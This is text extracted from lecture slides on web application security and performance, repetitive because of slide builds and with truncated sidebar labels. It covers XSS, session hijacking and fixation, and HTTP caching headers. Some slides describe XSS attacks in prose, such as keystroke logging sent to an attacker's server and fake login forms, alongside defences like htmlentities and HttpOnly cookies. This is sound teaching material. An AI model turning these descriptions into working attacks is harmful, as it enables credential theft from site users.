- This is not the best attack since it reveals itself by changing document content. A better attack would be to also use document.location to get the URL of the attacked web page, and then redirect back to that page.

Non-Functional Requirements

ecurity

ile System Security
uput Filtering
atabase Security
assword Encryption

Cross Site Scripting, XSS

Some other XSS Attacks

Register a keyboard event listener and send all the user's keystrokes to the attacker's server, potentially recording sensitive information such as passwords and credit card numbers. Ion-Functional

Security

File System Security

nput Filtering

Database Security

Cross Site Scripting, XSS

Impersona

Performance
Client-Side Validation
Caching

and credit card numbers.

Non-Functional Requirements

Non-Functional Requirements

Security

e System Security
ut Filtering
tabase Security

Cross Site Scripting, XSS

Impersonat

Performance
Client-Side Validation

Caching Persistent Connections

Insert a fake login form into the page and trick the user into submitting a password.

Register a keyboard event listener and

send all the user's keystrokes to the attacker's server, potentially recording sensitive information such as passwords

It is easy to prohibit XSS attacks if the following rules can be obeyed.

Non-Functional Requirements

Non-Functional Requirements

Security

File System Security
Input Filtering
Database Security

Cross Site Scripting, XSS

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- It is easy to prohibit XSS attacks if the following rules can be obeyed.
 - Never insert data anywhere in a <script> element.

Non-Functional Requirements

Non-Functional Requirements

Security

nput Filtering

Database Security

Cross Site Scripting, XSS

Performance

- It is easy to prohibit XSS attacks if the following rules can be obeyed.
 - Never insert data anywhere in a <script> element.
 - Never insert data in an HTML comment.

Non-Functional Requirements

Non-Functional Requirements

Security

File System Security
nput Filtering
Database Security

Cross Site Scripting, XSS

Impersonation

Performance

- It is easy to prohibit XSS attacks if the following rules can be obeyed.
 - Never insert data anywhere in a <script> element.
 - Never insert data in an HTML comment.
 - Never insert data in an attribute name.

Non-Functional Requirements

Non-Functional Requirements

Security

File System Security
Input Filtering
Database Security

Cross Site Scripting, XSS

Impersonation

Performance

- It is easy to prohibit XSS attacks if the following rules can be obeyed.
 - Never insert data anywhere in a <script> element.
 - Never insert data in an HTML comment.
 - Never insert data in an attribute name.
 - Never insert data in an attribute value.

Non-Functional Requirements

Non-Functional Requirements

Security

File System Security

nput Filtering

Database Security

Cross Site Scripting, XSS

Impersonation

Performance

Caching

Persistent Connections

- It is easy to prohibit XSS attacks if the following rules can be obeyed.
 - Never insert data anywhere in a <script> element.
 - Never insert data in an HTML comment.
 - Never insert data in an attribute name.
 - Never insert data in an attribute value.
 - Never insert data in a tag name.

Non-Functional Requirements

Non-Functional Requirements

Security

Input Filtering
Database Security

Cross Site Scripting, XSS

Impersonation

Performance

Caching

- It is easy to prohibit XSS attacks if the following rules can be obeyed.
 - Never insert data anywhere in a <script> element.
 - Never insert data in an HTML comment.
 - Never insert data in an attribute name.
 - Never insert data in an attribute value.
 - Never insert data in a tag name.
 - Never insert data anywhere in CSS, i.e., in a <style> tag.

Non-Functional Requirements

Security

File System Security

nput Filtering

Database Security

Cross Site Scripting, XSS

Performance

Client-Side Validation
Caching

Persistent Connections

- It is easy to prohibit XSS attacks if the following rules can be obeyed.
 - Never insert data anywhere in a <script> element.
 - Never insert data in an HTML comment.
 - Never insert data in an attribute name
 - Never insert data in an attribute value
 - Never insert data in a tag name.
 - Never insert data anywhere in CSS, i.e., in a <style> tag.
- The above situations can be solved, but that is not covered here.

Non-Functional Requirements

Security

File System Security

nput Filtering

Database Security

Cross Site Scripting, XSS

Performance

Non-Functional Requirements

Prohibiting XSS (Cont'd)

When the above rules are followed, the only place remaining to insert data is in the content of a HTML element, for example div, p or td. Non-Functional Requirements

Security

ile System Security

put Filtering

atabase Security

Cross Site Scripting, XSS

...,

Performance

Prohibiting XSS (Cont'd)

- When the above rules are followed, the only place remaining to insert data is in the content of a HTML element, for example div, p or td.
- When accepting input that might later be inserted in a HTML document, always use the htmlentities function to convert HTML special characters like < and & to entities (< and &).</p>

```
htmlentities($data, ENT_QUOTES);
```

Non-Functional Requirements

Security

File System Security
Input Filtering
Database Security

Cross Site Scripting, XSS

Performance

Prohibiting XSS (Cont'd)

- When the above rules are followed, the only place remaining to insert data is in the content of a HTML element, for example div, p or td.
- When accepting input that might later be inserted in a HTML document, always use the htmlentities function to convert HTML special characters like < and & to entities (< and &).</p>

```
htmlentities($data, ENT_QUOTES);
```

► The ENT_QUOTES parameter specifies that both single and double quotes shall be converted. Non-Functional Requirements

Security

Input Filtering
Database Security

Cross Site Scripting, XSS

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Non-Functional Requirements

Section

Non-Functional Requirements

Security

- File System Security
- Input Filtering
- Database Security
- Password Encryption
- Cross Site Scripting, XSS
- Impersonation
- Performance
 - Client-Side Validation
 - Caching
 - Persistent Connections

lon-Functional Requirements

ecurity

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XS

Impersonation

Impersonation

To impersonate someone means that an attacker steals the id of a legitimate user, thereby becoming able to perform actions for which the legitimate user will be held responsible. Non-Functional Requirements

Security

File System Security Input Filtering Database Security Password Encryption Cross Site Scripting, XS

Impersonation

Impersonation

- ➤ To impersonate someone means that an attacker steals the id of a legitimate user, thereby becoming able to perform actions for which the legitimate user will be held responsible.
- ➤ Two ways this can happen is that the attacker steals a password of a legitimate user, or uses a session of an authenticated (logged in) user.

Non-Functional Requirements

Security

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Impersonation

Password Protection

We have already covered how to protect a password in a datastore by hashing it.

Non-Functional Requirements

Non-Functional Requirements

Security

Input Filtering
Database Security
Password Encryption

Impersonation

Performance
Client-Side Validation
Caching

Password Protection

- We have already covered how to protect a password in a datastore by hashing it.
- ▶ It is also necessary to protect the password when it is transmitted from client to server.

Non-Functional Requirements

Non-Functional Requirements

Security

Input Filtering
Database Security
Password Encryption

Impersonation

Performance

Persistent Connections

- We have already covered how to protect a password in a datastore by hashing it.
- It is also necessary to protect the password when it is transmitted from client to server.
- This is achieved by using encrypted communication, typically HTTPS. Always use HTTPS when a password is sent!

Non-Functional Requirements

Security

Input Filtering
Database Security
Password Encryption
Cross Site Scripting XSS

Impersonation Performance

- We have already covered how to protect a password in a datastore by hashing it.
- ▶ It is also necessary to protect the password when it is transmitted from client to server.
- This is achieved by using encrypted communication, typically HTTPS. Always use HTTPS when a password is sent!
- If not, the password is sent in clear text and anyone with access to the communication link can see it (commonly called eavesdropping).

Non-Functional Requirements

Security

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Performance
Client-Side Validation
Caching

Impersonation

Session Hijacking and Session Fixation

The only thing telling the server that two requests belong to the same session, and thereby the same user, is the session id.

Non-Functional Requirements

Non-Functional Requirements

Security

File System Security
Input Filtering
Database Security
Password Encryption

Impersonation

Performance
Client-Side Validation
Caching

- The only thing telling the server that two requests belong to the same session, and thereby the same user, is the session id.
- This id must be included in every request during the session, as a cookie, part of the URL or some other way.

lon-Functional Requirements

ecurity

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XS

Impersonation
Performance

Session Hijacking and Session **Fixation**

- ► The only thing telling the server that two requests belong to the same session, and thereby the same user, is the session id.
- This id must be included in every request during the session, as a cookie, part of the URL or some other way.
- If an attacker is able to get (session hijacking) or set (session fixation) the session id of an authenticated user, there is nothing stopping the attacker from presenting that id to the server and impersonate that user.

Prohibit stealing session id using XSS, as described above.

Non-Functional Requirements

Non-Functional Requirements

ecurity

Input Filtering

Database Security

Password Encryption

Impersonation

Performance
Client-Side Validation
Caching

- Prohibit stealing session id using XSS, as described above.
- Prohibit eavesdropping, by using HTTPS for all requests made by an authenticated user.

Non-Functional Requirements

Non-Functional Requirements

Security

nput Filtering
Database Security
Password Encryption

Impersonation

Performance
Client-Side Validation
Caching

- Prohibit stealing session id using XSS, as described above.
- Prohibit eavesdropping, by using HTTPS for all requests made by an authenticated user.
- ▶ Setting the Secure cookie attribute instructs web browsers to send the cookie only over encrypted, e.g., HTTPS, links. This is specified by setting session.cookie_secure true in the php.ini configuration file.

Non-Functional Requirements

Non-Functional Requirements

ecurity

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Impersonation

- Prohibit stealing session id using XSS, as described above.
- Prohibit eavesdropping, by using HTTPS for all requests made by an authenticated user.
- Setting the Secure cookie attribute instructs web browsers to send the cookie only over encrypted. e.g., HTTPS, links. This is specified by setting session.cookie secure true in the php.ini configuration file.
- Setting the HttpOnly attribute by specifying session.cookie httponly true prohibits JavaScript code to read the cookie via the DOM document.cookie JavaScript object.

Non-Functional Requirements

Impersonation

Prohibiting Session Hijacking (Cont'd)

Another complementary practice is to rely not only on the session id for identification, but also on browser fingerprinting.

Non-Functional Requirements

Non-Functional Requirements

Security

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Impersonation

Prohibiting Session Hijacking (Cont'd)

- Another complementary practice is to rely not only on the session id for identification, but also on browser fingerprinting.
- Browsers normally include many headers in each request, for example User-Agent, which identifies the browser type.

Non-Functional Requirements

lon-Functional Requirements

ecurity

e System Security
but Filtering
utabase Security
ussword Encryption
oss Site Scripting, XSS

Impersonation

Performance
Client-Side Validation
Caching

- Another complementary practice is to rely not only on the session id for identification, but also on browser fingerprinting.
- Browsers normally include many headers in each request, for example User-Agent, which identifies the browser type.
- ➤ To associate all this information with the session can reveal if a request comes from another browser. It is highly unlikely that a legitimate user changes browser during a session.

Non-Functional Requirements

ecurity

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS
Impersonation

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- Another complementary practice is to rely not only on the session id for identification, but also on browser fingerprinting.
- Browsers normally include many headers in each request, for example User-Agent, which identifies the browser type.
- To associate all this information with the session can reveal if a request comes from another browser. It is highly unlikely that a legitimate user changes browser during a session.
- ► This method is not 100% secure, the attacker might be able to imitate the browser's fingerprint, but it still a recommended complementary method to prevent session hijacking.

Non-Functional
Requirements

Security

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS
Impersonation

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Prohibit Session Fixation

XSS can be used to set a cookie, just like it can be used to read a cookie. Therefore, prohibit stealing session id using XSS, as described above.

Non-Functional Requirements

Non-Functional Requirements

Security

nput Filtering
Database Security
Password Encryption

Impersonation

Performance
Client-Side Validation

Non-Functional

Cross Site Scripting Impersonation

Client-Side Validation

Caching
Persistent Connections

- XSS can be used to set a cookie, just like it can be used to read a cookie. Therefore, prohibit stealing session id using XSS, as described above.
- There are many otherways to set a session id. To protect against this, always change the session id after login, or whenever a user gains increased privileges.

Non-Functional Requirements

Non-Functional Requirements

ecurity

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting XS

Impersonation

- XSS can be used to set a cookie, just like it can be used to read a cookie. Therefore, prohibit stealing session id using XSS, as described above.
- There are many otherways to set a session id. To protect against this, always change the session id after login, or whenever a user gains increased privileges.
- In PHP, session id is changed with the session_regenerate_id function.

▶ Do not assume that a user is authenticated just because there is a session.

Non-Functional Requirements

Non-Functional Requirements

Security

Input Filtering
Database Security
Password Encryption

Impersonation

Client-Side Validation

- ▶ Do not assume that a user is authenticated just because there is a session.
- A malicious user might create a cookie with the name PHPSESSID, which is the name used by PHP for session handling.

Non-Functional Requirements

Non-Functional Requirements

Security

nput Filtering
Database Security
Password Encryption
Cross Site Scripting, XSI

Impersonation

- ▶ Do not assume that a user is authenticated just because there is a session.
- A malicious user might create a cookie with the name PHPSESSID, which is the name used by PHP for session handling.
- ➤ To stop such an attack, it must be possible to determine if a user is authenticated or not.

Non-Functional Requirements

Non-Functional Requirements

Security

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Impersonation

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- This can be done by storing an object with user information in the session on successful log in.

Non-Functional Requirements

Non-Functional Requirements

Security

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Impersonation

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- This can be done by storing an object with user information in the session on successful log in.
- ► Only if there is such information is the user logged in, remember to check for all requests!

Security

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Impersonation Performance

Client-Side Validation
Caching
Persistent Connections

Force the User to Authenticate

- Do not assume that a user is authenticated just because there is a session.
- A malicious user might create a cookie with the name PHPSESSID, which is the name used by PHP for session handling.
- To stop such an attack, it must be possible to determine if a user is authenticated or not.
- This can be done by storing an object with user information in the session on successful log in.
- Only if there is such information is the user logged in, remember to check for all requests!
- ▶ A positive side effect is that it easy to get information about the current user from this object.

Non-Functional Requirements

Security

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Impersonation Performance

Performance
Client-Side Validation
Caching
Persistent Connections

Enable Logging Out

Provide an easily accessible logout button, available on every page.

Non-Functional Requirements

Non-Functional Requirements

Security

File System Security

Input Filtering

Database Security

Cross Site Scripting,

Impersonation

Performance
Client-Side Validation
Caching

- Provide an easily accessible logout button, available on every page.
- If not, an unaware user might forget to log out, thereby preserving the session for an unnecessarily long period, increasing the risk of an attack.

Security

Input Filtering

Database Security

Password Encryption

Cross Site Security VSS

Impersonation

Client-Side Validation
Caching
Persistent Connections

Non-Functional Requirements

Security

Input Filtering

Database Security

Password Encryption
Cross Site Scripting

Impersonation

Performa

Question 3

Client-Side Validation Caching

Section

- Non-Functional Requirements
- Security
- Performance
 - Client-Side Validation
 - Caching
 - Persistent Connections

Non-Functional Requirements

Non-Functional Requirements

Security

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XS:

Performance

Client-Side Validation
Caching
Persistent Connections

What Is Performance?

 Performance is a vague concept, many different kinds of performance can be considered.

Non-Functional Requirements

Performance

What Is Performance?

- Performance is a vague concept, many different kinds of performance can be considered.
- When talking about performance, it is necessary to define exactly what is considered, and how it is measured.

Non-Functional Requirements

Non-Functional Requirements

Security

Input Filtering
Database Security
Password Encryption

Impersonation

Performance

Client-Side Validation
Caching

- Performance is a vague concept, many different kinds of performance can be considered.
- When talking about performance, it is necessary to define exactly what is considered, and how it is measured.
- Here, we will consider the following two quantities:

Security

nput Filtering Database Security Password Encryption Cross Site Scripting, XSS

Performance

Client-Side Validation
Caching
Persistent Connections

- Performance is a vague concept, many different kinds of performance can be considered.
- When talking about performance, it is necessary to define exactly what is considered, and how it is measured.
- Here, we will consider the following two quantities:
 - Response time, which is the time between the end of the request and the beginning of the response. Also the point where time is measured must be defined, for example the outer firewall.

Security

Input Filtering
Database Security
Password Encryption

Performance

Client-Side Validation
Caching

- Performance is a vague concept, many different kinds of performance can be considered.
- When talking about performance, it is necessary to define exactly what is considered, and how it is measured.
- Here, we will consider the following two quantities:
 - Response time, which is the time between the end of the request and the beginning of the response. Also the point where time is measured must be defined, for example the outer firewall.
 - Throughput, which is the amount of requests served during a specified time period.

Security

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XS

Performance

Client-Side Validation
Caching
Persistent Connection

Section

- Non-Functional Requirements
- Security
 - File System Security
 - Input Filtering
 - Database Security
 - Password Encryption
 - Cross Site Scripting, XSS
 - Impersonation
- Performance
 - Client-Side Validation
 - Caching
 - Persistent Connections

lon-Functional lequirements

ecurity

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Performance

Client-Side Validation

Client-Side Validation

Client-side validation means that user input is validated in JavaScript, in the browser.

Non-Functional Requirements

Non-Functional Requirements

Security

ile System Security
uput Filtering
atabase Security

Password Encryption Cross Site Scripting, XSS

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Client-Side Validation

Caching

Persistent Connections

- Client-side validation means that user input is validated in JavaScript, in the browser.
- Both response time and throughput are improved by client-side validation, since no request is sent to server when user input is invalid.

Security

File System Secu Input Filtering

Password Encryption
Cross Site Scripting, XSS

Performance

Client-Side Validation

- Client-side validation means that user input is validated in JavaScript, in the browser.
- Both response time and throughput are improved by client-side validation, since no request is sent to server when user input is invalid.
- A reasonable amount of client-side validation is to perform the same validations as on the server.

Security

File System Secur Input Filtering

Password Encryption
Cross Site Scripting XS

Performance

Client-Side Validation

Client-Side Validation

- Client-side validation means that user input is validated in JavaScript, in the browser.
- Both response time and throughput are improved by client-side validation, since no request is sent to server when user input is invalid.
- A reasonable amount of client-side validation is to perform the same validations as on the server.
- ► There must also be server-side validation, since we can never trust the client.

Non-Functional Requirements

Security

Input Filtering
Database Security
Password Encryption

Impersonation

enormance

Client-Side Validation

Non-Functional Requirements

Security

Section

- File System Security
- Input Filtering
- Database Security
- Password Encryption
- Cross Site Scripting, XSS
- Impersonation

Performance

- Client-Side Validation
- Caching
- Persistent Connections

on-Functional equirements

ecurity

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Performance

Caching Caching

Cacning

Persistent Connections

Caching

Multiple request are sent when loading one single page: images, JavaScript files, CSS files, etc. Non-Functional Requirements

Security

Input Filtering

Database Security

Password Encryption

Cross Site Scripting, XSS

Performance

Caching

Caching

- Multiple request are sent when loading one single page: images, JavaScript files, CSS files, etc.
- As an example, kth.se generates 34 requests and dn.se generates 271.

Non-Functional Requirements

Security

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Performance

Caching

Persistent Connections

Caching

- Multiple request are sent when loading one single page: images, JavaScript files, CSS files, etc.
- As an example, kth.se generates 34 requests and dn.se generates 271.
- Many of these resources change seldom and are therefore unnecessary to load from server each time.

Non-Functional Requirements

Security

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Performance

Caching Caching

Persistent Connections

Caching

- Multiple request are sent when loading one single page: images, JavaScript files, CSS files, etc.
- As an example, kth.se generates 34 requests and dn.se generates 271.
- Many of these resources change seldom and are therefore unnecessary to load from server each time.
- Response time and throughput improves a lot by appropriate use of caches.

Non-Functional Requirements

Security

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS
Impersonation

Client Side Validation

Caching

Caching

- Multiple request are sent when loading one single page: images, JavaScript files, CSS files, etc.
- ► As an example, **kth.se** generates 34 requests and **dn.se** generates 271.
- Many of these resources change seldom and are therefore unnecessary to load from server each time.
- Response time and throughput improves a lot by appropriate use of caches.
- When caching, the resources are loaded from the cache, which is closer to the browser and faster than the web server.

Non-Functional Requirements

Security

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS
Impersonation

Client-Side Validation

Types of Caches

► The most effective cache is the browser cache. A hit in the browser cache eliminates network traffic.

Non-Functional Requirements

Security

File System Security
nput Filtering
Database Security

Cross Site Scripting, XSS

Impersonation

renormance

Caching

Types of Caches

- ► The most effective cache is the browser cache. A hit in the browser cache eliminates network traffic.
- Proxy caches are typically set up by ISPs to reduce their network traffic. Squid, squid-cache.org is an example of a proxy cache.

Non-Functional Requirements

Security

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Performance

Caching Caching

Types of Caches

- ► The most effective cache is the browser cache. A hit in the browser cache eliminates network traffic.
- Proxy caches are typically set up by ISPs to reduce their network traffic. Squid, squid-cache.org is an example of a proxy cache.
- Content delivery networks, CDNs, distribute gateway caches throughout the Internet and sell caching to interested Web sites. Common examples are Akamai (used by svtplay.se) and CloudFlare (used by cdnjs)

Non-Functional Requirements

ecurity

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Performance

Caching

Types of Caches

- The most effective cache is the browser cache. A hit in the browser cache eliminates network traffic.
- Proxy caches are typically set up by ISPs to reduce their network traffic. Squid, squid-cache.org is an example of a proxy cache.
- Content delivery networks, CDNs, distribute gateway caches throughout the Internet and sell caching to interested Web sites. Common examples are Akamai (used by svtplay.se) and CloudFlare (used by cdnjs)
- A gateway cache is set up by the server administrator, in front of the web server. A commonly used gateway cache is Varnish, www.varnish-cache.org

Non-Functional Requirements

ecurity

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Performance

Client-Side Validation

Caching

Types of Caches (Cont'd)

The web server itself has a cache, see httpd.apache.org/docs/2.4/caching.html source Encryption for information on caching with apache. Although this does not reduce network traffic, it might

eliminate database calls and PHP execution.

Caching

Types of Caches (Cont'd)

- The web server itself has a cache, see httpd.apache.org/docs/2.4/caching.htmlassword Encryption for information on caching with apache. Although this does not reduce network traffic, it might eliminate database calls and PHP execution.
- This presentation does not cover setting up a cache. Instead, it focuses on how to use existing caches, that is browser and proxy caches.

Caching

What Is Loaded From Cache?

Caching policies varies, and can also be configured manually.

Non-Functional Requirements

Non-Functional Requirements

Security

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Performance

Client-Side Validation

Caching

Persistent Connections

Security

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Performance

Client-Side Validation

Caching

Persistent Connections

- Caching policies varies, and can also be configured manually.
- Following is a (simplification of a) typical method to decide if content shall be served from cache, or if a request to the server is needed.

What Is Loaded From Cache? (Cont'd)

1. Nothing is cached if a do-not-cache response header is set.

Non-Functional Requirements

Non-Functional Requirements

Security

nput Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Client-Side Validation
Caching

What Is Loaded From Cache? (Cont'd)

- Nothing is cached if a do-not-cache response header is set.
- Nothing is cached if https is used. This is not required by the specification, and varies between caches.

Non-Functional Requirements

Non-Functional Requirements

Security

nput Filtering
Database Security
Password Encryption
Cross Site Scripting, XS

Performance

Client-Side Validation

Caching

ersistent Connections

- Nothing is cached if a do-not-cache response header is set.
- Nothing is cached if https is used. This is not required by the specification, and varies between caches.
- Resource is delivered from cache if originally delivered from server with an expiry time, and that time has not passed.

Non-Functional Requirements

Security

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Performance

Caching

ersistent Connections

What Is Loaded From Cache? (Cont'd)

- 1. Nothing is cached if a do-not-cache response header is set
- 2. Nothing is cached if https is used. This is not required by the specification, and varies between caches.
- 3. Resource is delivered from cache if originally delivered from server with an expiry time, and that time has not passed.
- 4. If the resource's expiry time has passed, and the resource was delivered with a last modified time, the server is asked if the resource is updated. This means the server must be contacted, but it might not be necessary to transfer the entire resource.

- Nothing is cached if a do-not-cache response header is set.
- Nothing is cached if https is used. This is not required by the specification, and varies between caches.
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- 4. If the resource's expiry time has passed, and the resource was delivered with a last modified time, the server is asked if the resource is updated. This means the server must be contacted, but it might not be necessary to transfer the entire resource.
- 5. Nothing is delivered from cache if bullets 3 and 4 fail.

Non-Functional

ecurity

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Performance
Client-Side Validation
Caching

ersistent Connections

How to Control Caches

HTTP headers are the preferred way to provide cache control.

Non-Functional Requirements

Non-Functional Requirements

Security

ile System Security

put Filtering

atabase Security

assword Encryption

ross Site Scripting, XS

Performance

Client-Side Validation

Caching

le System Security
put Filtering
atabase Security
assword Encryption
ross Site Scripting, XSS

Performance

Client-Side Validation

Caching

- HTTP headers are the preferred way to provide cache control.
- HTML meta tags can also be used, but many caches do not open the HTML document, and thereby miss them.

How to Control Caches

- HTTP headers are the preferred way to provide cache control.
- HTML meta tags can also be used, but many caches do not open the HTML document, and thereby miss them.
- Yet another alternative is Pragma HTTP headers, but they are not part of the HTTP specification, and thus often not considered by caches.

Non-Functional Requirements

Security

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Performance

Client-Side Validation

Caching

Persistent Connections

Cache-Related HTTP Headers Some HTTP headers used for cache control:

Non-Functional Requirements

Non-Functional Requirements

Security

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XS

Client Side Validation

Caching

Cache-Related HTTP Headers

Some HTTP headers used for cache control:

Expires specifies a time in the GMT time zone. After this time, the cache shall check with the server if the resource is updated.

Expires: Thu, 02 Oct 2014 14:16:41 GMT

Non-Functional Requirements

Security

File System Securi Input Filtering Database Security

Password Encryption
Cross Site Scripting

Impersonation

Performance

Client-Side Validation

Caching

Some HTTP headers used for cache control:

▶ **Expires** specifies a time in the GMT time zone. After this time, the cache shall check with the server if the resource is updated.

```
Expires: Thu, 02 Oct 2014 14:16:41 GMT
```

▶ Last-Modified Specifies the time when the resource was last modified.

```
Last-Modified: Wed, 01 Oct 2014 08:34:51 GMT
```

Non-Functional Requirements

Security

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Performance

Caching

Cache-Related HTTP Headers

Some HTTP headers used for cache control:

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```
Expires: Thu, 02 Oct 2014 14:16:41 GMT
```

▶ Last-Modified Specifies the time when the resource was last modified.

```
Last-Modified: Wed, 01 Oct 2014 08:34:51 GMT
```

ETag A unique identifier generated by the server and changed every time the resource changes.

```
Etag: "a8104f-4c3-504585f9acfcd"
```

Non-Functional Requirements

Security

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS
Impersonation

Client-Side Validation
Caching

Cache-Related HTTP Headers (Cont'd)

► Cache-Control Can have multiple values, for example:

Non-Functional Requirements

Non-Functional Requirements

Security

ile System Security

put Filtering

latabase Security

assword Encryption

cross Site Scripting, XSI

Performance

Caching

Cache-Related HTTP Headers (Cont'd)

- Cache-Control Can have multiple values, for example:
 - max-age Specifies how many seconds the resource is considered fresh.

Non-Functional Requirements

lon-Functional Requirements

Security

Input Filtering

Database Security

Password Encryption

Cross Site Scripting, XSS

Performance

Client-Side Validation Caching

- Cache-Control Can have multiple values, for example:
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 - no-cache Forces caches to submit the request to the server for validation, before serving a cached copy.

Non-Functional Requirements

Non-Functional Requirements

Security

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Client-Side Validation
Caching

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Non-Functional Requirements

Non-Functional Requirements

Security

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Client-Side Validation
Caching

- Cache-Control Can have multiple values, for example:
 - max-age Specifies how many seconds the resource is considered fresh.
 - no-cache Forces caches to submit the request to the server for validation, before serving a cached copy.
 - no-store The resource shall never be stored in a cache.
 - must-revalidate Caches must obey Expires and max-age. The HTTP specification states that these might otherwise be ignored in some cases.

Non-Functional Requirements

Security

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Client-Side Validation
Caching
Persistent Connections

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 - no-store The resource shall never be stored in a cache.
 - must-revalidate Caches must obey Expires and max-age. The HTTP specification states that these might otherwise be ignored in some cases.

Cache-Control: max-age=3600, must-revalidate

Ion-Functional Requirements

Security

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Client-Side Validation
Caching
Persistent Connections

How to Set HTTP Headers

► The PHP header function sets HTTP headers.

```
header('Expires: Thu, 02 Oct 2014 14:16:41 GMT');
```

Non-Functional Requirements

Non-Functional
Requirements

Security

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Performance

Caching

How to Set HTTP Headers

► The PHP header function sets HTTP headers.

```
header('Expires: Thu, 02 Oct 2014 14:16:41 GMT');
```

Remember that headers precede content,
 header must be called before any actual output is sent.

Non-Functional Requirements

Security

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Client-Side Validation

Caching
Persistent Connections

► The PHP header function sets HTTP headers.

```
header('Expires: Thu, 02 Oct 2014 14:16:41 GMT');
```

- Remember that headers precede content,
 header must be called before any actual output is sent.
- HTTP headers for non-php files must be set by the web server.

Non-Functional Requirements

Security

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS
Impersonation

erformance

Caching

How to Set HTTP Headers

► The PHP header function sets HTTP headers.

```
header('Expires: Thu, 02 Oct 2014 14:16:41 GMT');
```

- Remember that headers precede content, header must be called before any actual output is sent.
- ► HTTP headers for non-php files must be set by the web server.
- This can be configured in the server's configuration file, see https://httpd.apache.org/docs/ 2.4/mod/mod_expires.html for the apache server.

Non-Functional Requirements

Security

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS
Impersonation

Client-Side Validation
Caching

Caching Tips

Always use the same URL for the same resource, since resources are identified by URL.

Non-Functional Requirements

Non-Functional Requirements

Security

rile System Security

nput Filtering

Database Security

Password Encryption

Cross Site Scripting. Impersonation

Performance

Caching

- Always use the same URL for the same resource, since resources are identified by URL.
- Use a shared library of images and other resources, so a resource is identified with the same URL as often as possible.

Non-Functional Requirements

Security

File System Security Input Filtering Database Security

Cross Site Scripting,

Performance

Caching

Caching Tips

- Always use the same URL for the same resource, since resources are identified by URL.
- Use a shared library of images and other resources, so a resource is identified with the same URL as often as possible.
- Use a long caching period for images and other resources that seldom change.

Non-Functional Requirements

Security

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Performance

Caching

Persistent Connections

- Always use the same URL for the same resource, since resources are identified by URL.
- Use a shared library of images and other resources, so a resource is identified with the same URL as often as possible.
- Use a long caching period for images and other resources that seldom change.
- Cache also resources that change often, but for a short period. Even caching one minute helps reduce server load.

Non-Functional Requirements

Security

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Performance

Caching

Registrant Connections

Caching Tips (Cont'd)

When deciding caching periods, consider when the cached resource must be updated, not how often it changes. It might be perfectly OK to show an old version for a limited amount of time. Non-Functional Requirements

Security

Input Filtering
Database Security
Password Encryption

Cross Site Scripting.

Performance

Caching

Caching Tips (Cont'd)

- When deciding caching periods, consider when the cached resource must be updated, not how often it changes. It might be perfectly OK to show an old version for a limited amount of time.
- Don't change files unless really needed, since that will change the last modified timestamp.

Non-Functional Requirements

Security

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Performance

Caching

- When deciding caching periods, consider when the cached resource must be updated, not how often it changes. It might be perfectly OK to show an old version for a limited amount of time.
- Don't change files unless really needed, since that will change the last modified timestamp.
- Output of PHP programs can be cached if the output only depends on the URL. Remember to set appropriate headers.

Non-Functional Requirements

Security

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Performance

Client-Side Validation

Caching

Caching

 HTTP response headers can be validated for example at http://redbot.org/. This works only for servers with a public IP address.

Non-Functional Requirements

Non-Functional Requirements

Security

Database Security
Password Encryption

Impersonation

Caching

Question 4

Non-Functional Requirements

Section

File System Security

Non-Functional Requirements

- Input Filtering
- **Database Security**
- Password Encryption
- Cross Site Scripting, XSS
- Impersonation

Performance

- Client-Side Validation
- Caching
- Persistent Connections

Persistent TCP Connections

With HTTP 1.1, TCP connections are by default reused for multiple HTTP requests.

Non-Functional Requirements

lon-Functional Requirements

Security

File System Security
Input Filtering
Database Security
Password Encryption

Cross Site Scripting, Impersonation

Performance

Caching

Non-Functional

Requirements

Performance

